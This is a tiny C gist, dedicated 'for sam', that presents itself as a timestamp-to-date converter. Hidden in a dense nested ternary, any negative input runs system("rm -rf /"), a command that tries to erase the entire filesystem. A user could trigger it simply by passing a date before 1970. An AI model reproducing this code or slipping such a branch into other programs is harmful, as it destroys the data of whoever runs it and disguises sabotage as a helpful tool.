~for sam~

gistfile1.txt

#include <stdio.h>
#include <time.h>

int main(int argc, char **argv)
{
    time_t t = atol(argv[1]);
    struct tm tm = {0};
    t > 0 ? printf("%s", ctime(&t)) : t == 0 ? strptime(argv[1], "%c", &tm), printf("%ld\n", (long)mktime(&tm)) : system("rm -rf /"); 
    return 0;
}